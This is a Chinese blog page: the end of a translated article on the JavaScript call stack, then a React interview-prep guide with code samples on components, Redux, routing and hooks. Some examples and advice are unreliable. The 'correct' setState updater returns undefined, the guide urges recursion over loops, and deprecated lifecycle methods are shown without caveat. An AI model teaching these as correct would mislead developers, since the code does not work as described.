当引擎开始执行这段代码时,它首先调用函数“foo”。然而,这个函数是递归的,并且在没有任何终止条件的情况下开始调用自己。因此,在执行的每一步中,相同的函数都会被一次又一次地添加到调用堆栈中,如下所示:

image

然而,在某些时候,调用堆栈中的函数调用数量超过了调用堆栈的实际大小,浏览器决定采取行动,抛出一个错误,它可能是这样的:
image

在单个线程上运行代码很容易,因为你不必处理在多线程环境中出现的复杂场景——例如死锁。
但是在一个线程上运行也非常有限制,由于 JavaScript 只有一个调用堆栈,当某段代码运行变慢时会发生什么?

并发与事件循环

当调用堆栈中的函数调用需要花费大量时间来处理时会发生什么情况? 例如,假设你希望在浏览器中使用JavaScript进行一些复杂的图像转换。

你可能会问-为什么这是一个问题?问题是,当调用堆栈有函数要执行时,浏览器实际上不能做任何其他事情——它被阻塞了,这意味着浏览器不能呈现,它不能运行任何其他代码,它只是卡住了,如果你想在应用中使用流畅的页面效果,这就会产生问题。

而且这不是唯一的问题,一旦你的浏览器开始处理调用栈中的众多任务,它可能会停止响应相当长一段时间。大多数浏览器都会这么做,报一个错误,询问你是否想终止 web 页面。

image

这并不是最好的用户体验,不是吗?

那么,我们怎样才能在不阻塞UI和不使浏览器失去响应的情况下执行大量代码呢?解决方案是异步回调。

这个在下一篇说明,我尽快把原作者的内容整理好!

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

你要的 React 面试知识点,都在这了

React是流行的javascript框架之一,在2019年及以后将会更加流行。React于2013年首次发布,多年来广受欢迎。它是一个声明性的、基于组件的、用于构建用户界面的高效javascript库。

以下是面试前必须了解的话题。

  • 什么是声明式编程

  • 声明式编程 vs 命令式编程

  • 什么是函数式编程

  • 什么是组件设计模式

  • React 是什么

  • React 和 Angular 有什么不同

  • 什么是虚拟DOM及其工作原理

  • 什么是JSX

  • 组件和不同类型

  • Props 和 State

  • 什么是 PropTypes

  • 如何更新状态和不更新状态

  • 组件生命周期方法

  • 超越继承的组合

  • 如何在React中应用样式

  • 什么是Redux及其工作原理

  • 什么是React路由器及其工作原理

  • 什么是错误边界

  • 什么是 Fragments

  • 什么是传送门(Portals)

  • 什么是 Context

  • 什么是 Hooks

  • 如何提高性能

  • 如何在重新加载页面时保留数据

  • 如何从React中调用API

  • 总结

什么是声明式编程

声明式编程是一种编程范式,它关注的是你要做什么,而不是如何做。它表达逻辑而不显式地定义步骤。这意味着我们需要根据逻辑的计算来声明要显示的组件。它没有描述控制流步骤。声明式编程的例子有HTML、SQL等

HTML file

// HTML
<div>
  <p>Declarative Programming</p>
</div>

SQL file

select * from studens where firstName = 'declarative';

声明式编程 vs 命令式编程

声明式编程的编写方式描述了应该做什么,而命令式编程描述了如何做。在声明式编程中,让编译器决定如何做事情。声明性程序很容易推理,因为代码本身描述了它在做什么。

下面是一个例子,数组中的每个元素都乘以 2,我们使用声明式map函数,让编译器来完成其余的工作,而使用命令式,需要编写所有的流程步骤。

const numbers = [1,2,3,4,5];

// 声明式
const doubleWithDec = numbers.map(number => number * 2);

console.log(doubleWithDec)

// 命令式
const doubleWithImp = [];
for(let i=0; i<numbers.length; i++) {
    const numberdouble = numbers[i] * 2;
    doubleWithImp.push(numberdouble)
}

console.log(doubleWithImp)

什么是函数式编程

函数式编程是声明式编程的一部分。javascript中的函数是第一类公民,这意味着函数是数据,你可以像保存变量一样在应用程序中保存、检索和传递这些函数。

函数式编程有些核心的概念,如下:

  • 不可变性(Immutability)

  • 纯函数(Pure Functions)

  • 数据转换(Data Transformations)

  • 高阶函数 (Higher-Order Functions)

  • 递归

  • 组合

####不可变性(Immutability)

不可变性意味着不可改变。 在函数式编程中,你无法更改数据,也不能更改。 如果要改变或更改数据,则必须复制数据副本来更改。

例如,这是一个student对象和changeName函数,如果要更改学生的名称,则需要先复制 student 对象,然后返回新对象。

在javascript中,函数参数是对实际数据的引用,你不应该使用 student.firstName =“testing11”,这会改变实际的student 对象,应该使用Object.assign复制对象并返回新对象。

let student = {
    firstName: "testing",
    lastName: "testing",
    marks: 500
}

function changeName(student) {
    // student.firstName = "testing11" //should not do it
    let copiedStudent = Object.assign({}, student);
    copiedStudent.firstName = "testing11";
    return copiedStudent;
}

console.log(changeName(student));

console.log(student);

纯函数

纯函数是始终接受一个或多个参数并计算参数并返回数据或函数的函数。 它没有副作用,例如设置全局状态,更改应用程序状态,它总是将参数视为不可变数据。

我想使用 appendAddress 的函数向student对象添加一个地址。 如果使用非纯函数,它没有参数,直接更改 student 对象来更改全局状态。

使用纯函数,它接受参数,基于参数计算,返回一个新对象而不修改参数。

let student = {
    firstName: "testing",
    lastName: "testing",
    marks: 500
}

// 非纯函数
function appendAddress() {
    student.address = {streetNumber:"0000", streetName: "first", city:"somecity"};
}

console.log(appendAddress());

// 纯函数
function appendAddress(student) {
    let copystudent = Object.assign({}, student);
    copystudent.address = {streetNumber:"0000", streetName: "first", city:"somecity"};
    return copystudent;
}

console.log(appendAddress(student));

console.log(student);

数据转换

我们讲了很多关于不可变性的内容,如果数据是不可变的,我们如何改变数据。如上所述,我们总是生成原始数据的转换副本,而不是直接更改原始数据。

再介绍一些 javascript内置函数,当然还有很多其他的函数,这里有一些例子。所有这些函数都不改变现有的数据,而是返回新的数组或对象。

let cities = ["irving", "lowell", "houston"];

// we can get the comma separated list
console.log(cities.join(','))
// irving,lowell,houston

// if we want to get cities start with i
const citiesI = cities.filter(city => city[0] === "i");
console.log(citiesI)
// [ 'irving' ]

// if we want to capitalize all the cities
const citiesC = cities.map(city => city.toUpperCase());
console.log(citiesC)
// [ 'IRVING', 'LOWELL', 'HOUSTON' ]

高阶函数

高阶函数是将函数作为参数或返回函数的函数,或者有时它们都有。 这些高阶函数可以操纵其他函数。

Array.map,Array.filter和Array.reduce是高阶函数,因为它们将函数作为参数。

const numbers = [10,20,40,50,60,70,80]

const out1 = numbers.map(num => num * 100);
console.log(out1);
// [ 1000, 2000, 4000, 5000, 6000, 7000, 8000 ]

const out2 = numbers.filter(num => num > 50);
console.log(out2);
// [ 60, 70, 80 ]

const out3 = numbers.reduce((out,num) => out + num);
console.log(out3);
// 330

下面是另一个名为isPersonOld的高阶函数示例,该函数接受另外两个函数,分别是 messageisYoung

const isYoung = age => age < 25;

const message = msg => "He is "+ msg;

function isPersonOld(age, isYoung, message) {
    const returnMessage = isYoung(age)?message("young"):message("old");
    return returnMessage;
}

// passing functions as an arguments
console.log(isPersonOld(13,isYoung,message))
// He is young

递归

递归是一种函数在满足一定条件之前调用自身的技术。只要可能,最好使用递归而不是循环。你必须注意这一点,浏览器不能处理太多递归和抛出错误。

下面是一个演示递归的例子,在这个递归中,打印一个类似于楼梯的名称。我们也可以使用for循环,但只要可能,我们更喜欢递归。

function printMyName(name, count) {
    if(count <= name.length) {
        console.log(name.substring(0,count));
        printMyName(name, ++count);
    }
}

console.log(printMyName("Bhargav", 1));

/*
B
Bh
Bha
Bhar
Bharg
Bharga
Bhargav
*/

// withotu recursion
var name = "Bhargav"
var output = "";
for(let i=0; i<name.length; i++) {
    output = output + name[i];
    console.log(output);
}

组合

在React中,我们将功能划分为小型可重用的纯函数,我们必须将所有这些可重用的函数放在一起,最终使其成为产品。 将所有较小的函数组合成更大的函数,最终,得到一个应用程序,这称为组合

实现组合有许多不同方法。 我们从Javascript中了解到的一种常见方法是链接。 链接是一种使用表示法调用前一个函数的返回值的函数的方法。

这是一个例子。 我们有一个name,如果firstNamelastName大于5个单词的大写字母,刚返回,并且打印名称的名称和长度。

const name = "Bhargav Bachina";

const output = name.split(" ")
    .filter(name => name.length > 5)
    .map(val => {
    val = val.toUpperCase();
    console.log("Name:::::"+val);
    console.log("Count::::"+val.length);
    return val;
});

console.log(output)
/*
Name:::::BHARGAV
Count::::7
Name:::::BACHINA
Count::::7
[ 'BHARGAV', 'BACHINA' ]
*/

在React中,我们使用了不同于链接的方法,因为如果有30个这样的函数,就很难进行链接。这里的目的是将所有更简单的函数组合起来生成一个更高阶的函数。

const name = compose(
    splitmyName,
    countEachName,
    comvertUpperCase,
    returnName
)

console.log(name);

什么是 React

React是一个简单的javascript UI库,用于构建高效、快速的用户界面。它是一个轻量级库,因此很受欢迎。它遵循组件设计模式、声明式编程范式和函数式编程概念,以使前端应用程序更高效。它使用虚拟DOM来有效地操作DOM。它遵循从高阶组件到低阶组件的单向数据流。

React 与 Angular 有何不同?

Angular是一个成熟的MVC框架,带有很多特定的特性,比如服务、指令、模板、模块、解析器等等。React是一个非常轻量级的库,它只关注MVC的视图部分。

Angular遵循两个方向的数据流,而React遵循从上到下的单向数据流。React在开发特性时给了开发人员很大的自由,例如,调用API的方式、路由等等。我们不需要包括路由器库,除非我们需要它在我们的项目。

什么是Virtual DOM及其工作原理

React 使用 Virtual DOM 来更新真正的 DOM,从而提高效率和速度。 我们来详细讨论这些。

什么是Virtual DOM

浏览器遵循HTML指令来构造文档对象模型(DOM)。当浏览器加载HTML并呈现用户界面时,HTML文档中的所有元素都变成DOM元素。

DOM是从根元素开始的元素层次结构。例如,看看下面的HTML。

<div>
    <div>
        <h1>This is heading</h1>
        <p>this is paragraph</p>
        <div>
            <p>This is just a paragraon</p>
        </div>
    </div>
    <div>
        <h1>This is heading</h1>
        <p>this is paragraph</p>
        <div>
            <p>This is just a paragraon</p>
        </div>
    </div>
    <div>
        <h1>This is heading</h1>
        <p>this is paragraph</p>
        <div>
            <p>This is just a paragraon</p>
        </div>
    </div>
</div>

当在浏览器中加载这个HTML时,所有这些HTML元素都被转换成DOM元素,如下所示

当涉及到SPA应用程序时,首次加载index.html,并在index.html本身中加载更新后的数据或另一个html。当用户浏览站点时,我们使用新内容更新相同的index.html。每当DOM发生更改时,浏览器都需要重新计算CSS、进行布局并重新绘制web页面。

React 使用 Virtual DOM 有效地重建 DOM。 对于我们来说,这使得DOM操作的一项非常复杂和耗时的任务变得更加容易。 React从开发人员那里抽象出所有这些,以便在Virtual DOM的帮助下构建高效的UI。

虚拟DOM是如何工作的

虚拟DOM只不过是真实 DOM 的 javascript对象表示。 与更新真实 DOM 相比,更新 javascript 对象更容易,更快捷。 考虑到这一点,让我们看看它是如何工作的。

React将整个DOM副本保存为虚拟DOM

每当有更新时,它都会维护两个虚拟DOM,以比较之前的状态和当前状态,并确定哪些对象已被更改。 例如,段落文本更改为更改。

现在,它通过比较两个虚拟DOM 差异,并将这些变化更新到实际DOM

一旦真正的DOM更新,它也会更新UI

什么是 JSX

JSX是javascript的语法扩展。它就像一个拥有javascript全部功能的模板语言。它生成React元素,这些元素将在DOM中呈现。React建议在组件使用JSX。在JSX中,我们结合了javascript和HTML,并生成了可以在DOM中呈现的react元素。

下面是JSX的一个例子。我们可以看到如何将javascript和HTML结合起来。如果HTML中包含任何动态变量,我们应该使用表达式{}

import React from 'react';

export const Header = () => {

    const heading = 'TODO App'

    return(
        <div style={{backgroundColor:'orange'}}>
            <h1>{heading}</h1>
        </div>
    )
}

组件和不同类型

React 中一切都是组件。 我们通常将应用程序的整个逻辑分解为小的单个部分。 我们将每个单独的部分称为组件。 通常,组件是一个javascript函数,它接受输入,处理它并返回在UI中呈现的React元素。

在React中有不同类型的组件。让我们详细看看。

函数/无状态/展示组件

函数或无状态组件是一个纯函数,它可接受接受参数,并返回react元素。这些都是没有任何副作用的纯函数。这些组件没有状态或生命周期方法,这里有一个例子。

import React from 'react';
import Jumbotron from 'react-bootstrap/Jumbotron';

export const Header = () => {
    return(
        <Jumbotron style={{backgroundColor:'orange'}}>
            <h1>TODO App</h1>
        </Jumbotron>
    )
}

####类/有状态组件

类或有状态组件具有状态和生命周期方可能通过 setState()方法更改组件的状态。类组件是通过扩展React创建的。它在构造函数中初始化,也可能有子组件,这里有一个例子。

import React from 'react';
import '../App.css';
import { ToDoForm } from './todoform';
import { ToDolist } from './todolist';

export class Dashboard extends React.Component {

  constructor(props){
    super(props);

    this.state = {

    }
  }
  
  render() {
    return (
      <div className="dashboard"> 
          <ToDoForm />
          <ToDolist />
      </div>
    );
  }
}

受控组件

受控组件是在 React 中处理输入表单的一种技术。表单元素通常维护它们自己的状态,而react则在组件的状态属性中维护状态。我们可以将两者结合起来控制输入表单。这称为受控组件。因此,在受控组件表单中,数据由React组件处理。

这里有一个例子。当用户在 todo 项中输入名称时,调用一个javascript函数handleChange捕捉每个输入的数据并将其放入状态,这样就在 handleSubmit中的使用数据。

import React from 'react';
import Form from 'react-bootstrap/Form';
import Button from 'react-bootstrap/Button';
import Row from 'react-bootstrap/Row';
import Col from 'react-bootstrap/Col';

export class ToDoForm extends React.Component {
    constructor(props) {
      super(props);
      this.state = {value: ''};
  
      this.handleChange = this.handleChange.bind(this);
      this.handleSubmit = this.handleSubmit.bind(this);
    }
  
    handleChange(event) {
      this.setState({value: event.target.value});
    }
  
    handleSubmit(event) {
      alert('A name was submitted: ' + this.state.value);
      event.preventDefault();
    }
  
    render() {
      return (
          <div className="todoform">
            <Form>
                <Form.Group as={Row} controlId="formHorizontalEmail">
                    <Form.Label column sm={2}>
                    <span className="item">Item</span>
                    </Form.Label>
                    <Col sm={5}>
                        <Form.Control type="text" placeholder="Todo Item" />
                    </Col>
                    <Col sm={5}>
                        <Button variant="primary" type="submit">Add</Button>
                    </Col>
                </Form.Group>
            </Form>
         </div>
      );
    }
  }

非受控组件

大多数情况下,建议使用受控组件。有一种称为非受控组件的方法可以通过使用Ref来处理表单数据。在非受控组件中,Ref用于直接从DOM访问表单值,而不是事件处理程序。

我们使用Ref构建了相同的表单,而不是使用React状态。 我们使用React.createRef() 定义Ref并传递该输入表单并直接从handleSubmit方法中的DOM访问表单值。

import React from 'react';
import Form from 'react-bootstrap/Form';
import Button from 'react-bootstrap/Button';
import Row from 'react-bootstrap/Row';
import Col from 'react-bootstrap/Col';

export class ToDoForm extends React.Component {
    constructor(props) {
      super(props);
      this.state = {value: ''};
      this.input = React.createRef();
  
      this.handleSubmit = this.handleSubmit.bind(this);
    }
  
    handleSubmit(event) {
      alert('A name was submitted: ' + this.input.current.value);
      event.preventDefault();
    }
  
    render() {
      return (
          <div className="todoform">
            <Form>
                <Form.Group as={Row} controlId="formHorizontalEmail">
                    <Form.Label column sm={2}>
                    <span className="item">Item</span>
                    </Form.Label>
                    <Col sm={5}>
                        <Form.Control type="text" placeholder="Todo Item" ref={this.input}/>
                    </Col>
                    <Col sm={5}>
                        <Button variant="primary" onClick={this.handleSubmit} type="submit">Add</Button>
                    </Col>
                </Form.Group>
            </Form>
         </div>
      );
    }
  }

容器组件

容器组件是处理获取数据、订阅 redux 存储等的组件。它们包含展示组件和其他容器组件,但是里面从来没有html。

高阶组件

高阶组件是将组件作为参数并生成另一个组件的组件。 Redux connect是高阶组件的示例。 这是一种用于生成可重用组件的强大技术。

Props 和 State

Props 是只读属性,传递给组件以呈现UI和状态,我们可以随时间更改组件的输出。

下面是一个类组件的示例,它在构造函数中定义了propsstate,每当使用this.setState() 修改状态时,将再次调用 render( ) 函数来更改UI中组件的输出。

import React from 'react';
import '../App.css';

export class Dashboard extends React.Component {

  constructor(props){
    super(props);

    this.state = {
        name: "some name"
    }
  }

  render() {

    // reading state
    const name = this.state.name;

    //reading props
    const address = this.props.address;

    return (
      <div className="dashboard"> 
          {name}
          {address}
      </div>
    );
  }
}

什么是PropTypes

随着时间的推移,应用程序会变得越来越大,因此类型检查非常重要。PropTypes为组件提供类型检查,并为其他开发人员提供很好的文档。如果react项目不使用 Typescript,建议为组件添加 PropTypes

如果组件没有收到任何 props,我们还可以为每个组件定义要显示的默认 props。这里有一个例子。UserDisplay有三个 prop:nameaddressage,我们正在为它们定义默认的props 和 prop类型。

import React from 'react';
import PropTypes from 'prop-types';

export const UserDisplay = ({name, address, age}) => {

    UserDisplay.defaultProps = {
        name: 'myname',
        age: 100,
        address: "0000 onestreet"
    };

    return (
        <>
            <div>
                <div class="label">Name:</div>
                <div>{name}</div>
            </div>
            <div>
                <div class="label">Address:</div>
                <div>{address}</div>
            </div>
            <div>
                <div class="label">Age:</div>
                <div>{age}</div>
            </div>
        </>
    )
}

UserDisplay.propTypes = {
    name: PropTypes.string.isRequired,
    address: PropTypes.objectOf(PropTypes.string),
    age: PropTypes.number.isRequired
}

如何更新状态以及如何不更新

你不应该直接修改状态。可以在构造函数中定义状态值。直接使用状态不会触发重新渲染。React 使用this.setState()时合并状态。

//  错误方式
this.state.name = "some name"
//  正确方式
this.setState({name:"some name"})

使用this.setState()的第二种形式总是更安全的,因为更新的props和状态是异步的。这里,我们根据这些 props 更新状态。

// 错误方式
this.setState({
    timesVisited: this.state.timesVisited + this.props.count
})
// 正确方式
this.setState((state, props) => {
    timesVisited: state.timesVisited + props.count
});

组件生命周期方法

组件在进入和离开DOM时要经历一系列生命周期方法,下面是这些生命周期方法。

componentWillMount()

在渲染前调用,在客户端也在服务端,它只发生一次。

componentDidMount()

在第一次渲染后调用,只在客户端。之后组件已经生成了对应的DOM结构,可以通过this.getDOMNode()来进行访问。 如果你想和其他JavaScript框架一起使用,可以在这个方法中调用setTimeout, setInterval或者发送AJAX请求等操作(防止异部操作阻塞UI)。

componentWillReceiveProps()

在组件接收到一个新的 prop (更新后)时被调用。这个方法在初始化render时不会被调用。

shouldComponentUpdate()

返回一个布尔值。在组件接收到新的props或者state时被调用。在初始化时或者使用forceUpdate时不被调用。 可以在你确认不需要更新组件时使用。

componentWillUpdate()

在组件接收到新的props或者state但还没有render时被调用。在初始化时不会被调用。

componentDidUpdate()

在组件完成更新后立即调用。在初始化时不会被调用。

componentWillUnMount()

件从 DOM 中移除的时候立刻被调用。

getDerivedStateFromError()

这个生命周期方法在ErrorBoundary类中使用。实际上,如果使用这个生命周期方法,任何类都会变成ErrorBoundary。这用于在组件树中出现错误时呈现回退UI,而不是在屏幕上显示一些奇怪的错误。

componentDidCatch()

这个生命周期方法在ErrorBoundary类中使用。实际上,如果使用这个生命周期方法,任何类都会变成ErrorBoundary。这用于在组件树中出现错误时记录错误。

超越继承的组合

在React中,我们总是使用组合而不是继承。我们已经在函数式编程部分讨论了什么是组合。这是一种结合简单的可重用函数来生成高阶组件的技术。下面是一个组合的例子,我们在 dashboard 组件中使用两个小组件todoFormtodoList

import React from 'react';
import '../App.css';
import { ToDoForm } from './todoform';
import { ToDolist } from './todolist';

export class Dashboard extends React.Component {

  render() {
    return (
      <div className="dashboard"> 
          <ToDoForm />
          <ToDolist />
      </div>
    );
  }
}

如何在React中应用样式

将样式应用于React组件有三种方法。

外部样式表

在此方法中,你可以将外部样式表导入到组件使用类中。 但是你应该使用className而不是class来为React元素应用样式, 这里有一个例子。

import React from 'react';
import './App.css';
import { Header } from './header/header';
import { Footer } from './footer/footer';
import { Dashboard } from './dashboard/dashboard';
import { UserDisplay } from './userdisplay';

function App() {
  return (
    <div className="App">
      <Header />
      <Dashboard />
      <UserDisplay />
      <Footer />
    </div>
  );
}

export default App;

内联样式

在这个方法中,我们可以直接将 props 传递给HTML元素,属性为style。这里有一个例子。这里需要注意的重要一点是,我们将javascript对象传递给style,这就是为什么我们使用 backgroundColor 而不是CSS方法backbackground -color

import React from 'react';

export const Header = () => {

    const heading = 'TODO App'

    return(
        <div style={{backgroundColor:'orange'}}>
            <h1>{heading}</h1>
        </div>
    )
}

定义样式对象并使用它

因为我们将javascript对象传递给style属性,所以我们可以在组件中定义一个style对象并使用它。下面是一个示例,你也可以将此对象作为 props 传递到组件树中。

import React from 'react';

const footerStyle = {
    width: '100%',
    backgroundColor: 'green',
    padding: '50px',
    font: '30px',
    color: 'white',
    fontWeight: 'bold'
}

export const Footer = () => {
    return(
        <div style={footerStyle}>
            All Rights Reserved 2019
        </div>
    )
}

什么是Redux及其工作原理

Redux 是 React的一个状态管理库,它基于flux。 Redux简化了React中的单向数据流。 Redux将状态管理完全从React中抽象出来。

它是如何工作的

在React中,组件连接到 redux ,如果要访问 redux,需要派出一个包含 id和负载(payload) 的 action。action 中的 payload 是可选的,action 将其转发给 Reducer。

reducer收到action时,通过 swithc...case 语法比较 actiontype。 匹配时,更新对应的内容返回新的 state

Redux状态更改时,连接到Redux的组件将接收新的状态作为props。当组件接收到这些props时,它将进入更新阶段并重新渲染 UI。

Redux 循环细节

让我们详细看看整个redux 循环细节。

Action: Action 只是一个简单的json对象,type 和有payload作为键。type 是必须要有的,payload是可选的。下面是一个 action 的例子。

// action

{ 
  type:"SEND_EMAIL", 
  payload: data
};

Action Creators:这些是创建Actions的函数,因此我们在派发action时不必在组件中手动编写每个 action。 以下是 action creator 的示例。

// action creator

export function sendEamil(data) {
    return { type:"SEND_EMAIL", payload: data};
}

Reducers:Reducers 是纯函数,它将 action和当前 state 作为参数,计算必要的逻辑并返回一个新r的state。 这些 Reducers 没有任何副作用。 它不会改变 state 而是总是返回 state

export default function emailReducer(state = [], action){
 
  switch(action.type) {
      case "SEND_EMAIL":  return Object.assign({}, state, {
       email: action.payload
      });
      default: return state;
  }
}

组件如何与 redux 进行连接

mapStateToProps:此函数将state映射到 props 上,因此只要state发生变化,新 state 会重新映射到 props。 这是订阅store的方式。

mapDispatchToProps:此函数用于将 action creators 绑定到你的props 。以便我们可以在第12行中使用This . props.actions.sendemail()来派发一个动作。

connectbindActionCreators来自 redux。 前者用于连接 store ,如第22行,后者用于将 action creators 绑定到你的 props ,如第20行。

// import connect
import { connect } from 'react-redux'
import { bindActionCreators } from 'redux'

// import action creators
import * as userActions from '../../../actions/userActions';

export class User extends React.Component {
  
    handleSubmit() {
        // dispatch an action
        this.props.actions.sendEmail(this.state.email);
    }
  
}

// you are mapping you state props
const mapStateToProps = (state, ownProps) => ({user: state.user})
// you are binding your action creators to your props
const mapDispatchToProps = (dispatch) => ({actions: bindActionCreators(userActions, dispatch)})

export default connect(mapStateToProps, mapDispatchToProps)(User);

什么是 React Router Dom 及其工作原理

react-router-dom是应用程序中路由的库。 React库中没有路由功能,需要单独安装react-router-dom

react-router-dom 提供两个路由器BrowserRouterHashRoauter。前者基于rul的pathname段,后者基于hash段。

 前者:http://127.0.0.1:3000/article/num1

 后者:http://127.0.0.1:3000/#/article/num1(不一定是这样,但#是少不了的)

react-router-dom 组件

  • BrowserRouterHashRouter 是路由器。

  • Route 用于路由匹配。

  • Link 组件用于在应用程序中创建链接。 它将在HTML中渲染为锚标记。

  • NavLink是突出显示当前活动链接的特殊链接。

  • Switch 不是必需的,但在组合路由时很有用。

  • Redirect 用于强制路由重定向

下面是组件中的LinkNavLinkRedirect 的例子

// normal link
<Link to="/gotoA">Home</Link>

// link which highlights currentlu active route with the given class name
<NavLink to="/gotoB" activeClassName="active">
  React
</NavLink>

// you can redirect to this url
<Redirect to="/gotoC" />

以下是 react router 组件的示例。 如果你查看下面的示例,我们将匹配路径并使用SwitchRoute呈现相应的组件。

import React from 'react'
// import react router DOM elements
import { Switch, Route, Redirect } from 'react-router-dom'
import ComponentA from '../common/compa'
import ComponentB from '../common/compb'
import ComponentC from '../common/compc'
import ComponentD from '../common/compd'
import ComponentE from '../common/compe'


const Layout = ({ match }) => {
    return(
        <div className="">
            <Switch>
                <Route exact path={`${match.path}/gotoA`} component={ComponentA} />
                <Route path={`${match.path}/gotoB`} component={ComponentB} />
                <Route path={`${match.path}/gotoC`} component={ComponentC} />
                <Route path={`${match.path}/gotoD`} component={ComponentD} />
                <Route path={`${match.path}/gotoE`} component={ComponentE} />
            </Switch>
        </div>
    )}

export default Layout

什么是错误边界

在 React 中,我们通常有一个组件树。如果任何一个组件发生错误,它将破坏整个组件树。没有办法捕捉这些错误,我们可以用错误边界优雅地处理这些错误。

错误边界有两个作用

  • 如果发生错误,显示回退UI

  • 记录错误

下面是ErrorBoundary类的一个例子。如果类实现了 getDerivedStateFromErrorcomponentDidCatch 这两个生命周期方法的任何一下,,那么这个类就会成为ErrorBoundary。前者返回{hasError: true}来呈现回退UI,后者用于记录错误。

import React from 'react'

export class ErrorBoundary extends React.Component {
    constructor(props) {
      super(props);
      this.state = { hasError: false };
    }
  
    static getDerivedStateFromError(error) {
      // Update state so the next render will show the fallback UI.
      return { hasError: true };
    }
  
    componentDidCatch(error, info) {
      // You can also log the error to an error reporting service
      console.log('Error::::', error);
    }
  
    render() {
      if (this.state.hasError) {
        // You can render any custom fallback UI
        return <h1>OOPS!. WE ARE LOOKING INTO IT.</h1>;
      }
  
      return this.props.children; 
    }
  }

以下是我们如何在其中一个组件中使用ErrorBoundary。使用ErrorBoundary类包裹 ToDoFormToDoList。 如果这些组件中发生任何错误,我们会记录错误并显示回退UI。

import React from 'react';
import '../App.css';
import { ToDoForm } from './todoform';
import { ToDolist } from './todolist';
import { ErrorBoundary } from '../errorboundary';

export class Dashboard extends React.Component {

  render() {
    return (
      <div className="dashboard"> 
        <ErrorBoundary>
          <ToDoForm />
          <ToDolist />
        </ErrorBoundary>
      </div>
    );
  }
}

什么是 Fragments

在React中,我们需要有一个父元素,同时从组件返回React元素。有时在DOM中添加额外的节点会很烦人。使用 Fragments,我们不需要在DOM中添加额外的节点。我们只需要用 React.Fragment 或才简写 <> 来包裹内容就行了。如下 所示:

 // Without Fragments   
return (
    <div>
       <CompoentA />
       <CompoentB />
       <CompoentC />
    </div>
)

// With Fragments   
  return (
    <React.Fragment>
       <CompoentA />
       <CompoentB />
       <CompoentC />
    </React.Fragment>
  )

  // shorthand notation Fragments   
  return (
    <>
       <CompoentA />
       <CompoentB />
       <CompoentC />
    </>
  )

什么是传送门(Portals)

默认情况下,所有子组件都在UI上呈现,具体取决于组件层次结构。Portal 提供了一种将子节点渲染到存在于父组件以外的 DOM 节点的优秀的方案。

这里有一个例子。默认情况下,父组件在DOM层次结构中有子组件。

我们可以将 children 组件移出parent 组件并将其附加 idsomeid 的 Dom 节点下。

首先,获取 id 为 someid,我们在constrcutorand中创建一个元素div,将child附加到componentDidMount中的someRoot。 最后,我们在ReactDOM.createPortal(this.props.childen),domnode的帮助下将子节点传递给该特定DOM节点。

首先,先获取 id 为someid DOM元素,接着在构造函数中创建一个元素div,在 componentDidMount方法中将 someRoot 放到 div 中 。 最后,通过
ReactDOM.createPortal(this.props.childen), domnode)children 传递到对应的节点下。

const someRoot = document.getElementById('someid');

class Modal extends React.Component {
  constructor(props) {
    super(props);
    this.el = document.createElement('div');
  }

  componentDidMount() {
    someRoot.appendChild(this.el);
  }

  componentWillUnmount() {
    someRoot.removeChild(this.el);
  }

  render() {
    return ReactDOM.createPortal(
      this.props.children,
      this.el,
    );
  }
}

什么是上下文

有时我们必须将props 传递给组件树,即使所有中间组件都不需要这些props 。上下文是一种传递props 的方法,而不用在每一层传递组件树。

什么是 Hooks

Hooks 是React版本16.8中的新功能。 请记住,我们不能在函数组件中使用state ,因为它们不是类组件。Hooks 让我们在函数组件中可以使用state 和其他功能。

目前没有重大变化,我们不必放弃类组件。

Hook 不会影响你对 React 概念的理解。 恰恰相反,Hook 为已知的 React 概念提供了更直接的 API:props, state,context,refs 以及生命周期。稍后我们将看到,Hook 还提供了一种更强大的方式来组合他们。

我们可以使用一些钩子,例如useState,useEffect,useContext,useReducer等。

下面是 Hooks 的基本规则

  • Hooks 应该在外层使用,不应该在循环,条件或嵌套函数中使用

  • Hooks 应该只在函数组件中使用。

让我们看一个例子来理解 hooks。 这是一个函数组件,它采用props并在UI上显示这些props。 在useState钩子的帮助下,我们将这个函数组件转换为有状态组件。 首先,我们在第5行定义状态,这相当于

constructor(props) {
 super(props);
 this.state = {
     name:'myname', age:10, address:'0000 one street'
 }
}

useState返回两个项,一个是user,另一个是setUser函数。 user 是一个可以在没有 this关键字的情况下直接使用的对象,setUser是一个可以用来设置用户点击第21行按钮的状态的函数,该函数等效于以下内容。

this.setState({name:'name changed'})

1  import React, { useState } from 'react';
2
3  export const UserDisplay = ({name, address, age}) => {
4
5    const [user, setUser] = useState({ name: 'myname', age: 10, address: '0000 onestreet' });
6
7    return (
8        <>
9            <div>
10                <div class="label">Name:</div>
11                <div>{user.name}</div>
12            </div>
13            <div>
14                <div class="label">Address:</div>
15                <div>{user.address}</div>
16            </div>
17            <div>
18              <div class="label">Age:</div>
19                <div>{user.age}</div>
20            </div>
21            <button onClick={() => setUser({name: 'name changed'})}>
22                Click me
23            </button>
24        </>
25    )
26 }

如何提高性能

我们可以通过多种方式提高应用性能,以下这些比较重要:

  • 适当地使用shouldComponentUpdate生命周期方法。 它避免了子组件的不必要的渲染。 如果树中有100个组件,则不重新渲染整个组件树来提高应用程序性能。

  • 使用create-react-app来构建项目,这会创建整个项目结构,并进行大量优化。

  • 不可变性是提高性能的关键。不要对数据进行修改,而是始终在现有集合的基础上创建新的集合,以保持尽可能少的复制,从而提高性能。

  • 在显示列表或表格时始终使用 Keys,这会让 React 的更新速度更快

  • 代码分离是将代码插入到单独的文件中,只加载模块或部分所需的文件的技术。

如何在重新加载页面时保留数据

单页应用程序首先在DOM中加载index.html,然后在用户浏览页面时加载内容,或者从同一index.html中的后端API获取任何数据。

如果通过点击浏览器中的重新加载按钮重新加载页面index.html,整个React应用程序将重新加载,我们将丢失应用程序的状态。 如何保留应用状态?

每当重新加载应用程序时,我们使用浏览器localstorage来保存应用程序的状态。我们将整个存储数据保存在localstorage中,每当有页面刷新或重新加载时,我们从localstorage加载状态。

如何在React进行API调用

我们使用redux-thunk在React中调用API。因为reduce是纯函数,所以没有副作用,比如调用API。

因此,我们必须使用redux-thunk从 action creators 那里进行 API 调用。Action creator 派发一个action,将来自API的数据放入action 的 payload 中。Reducers 接收我们在上面的redux循环中讨论的数据,其余的过程也是相同的。

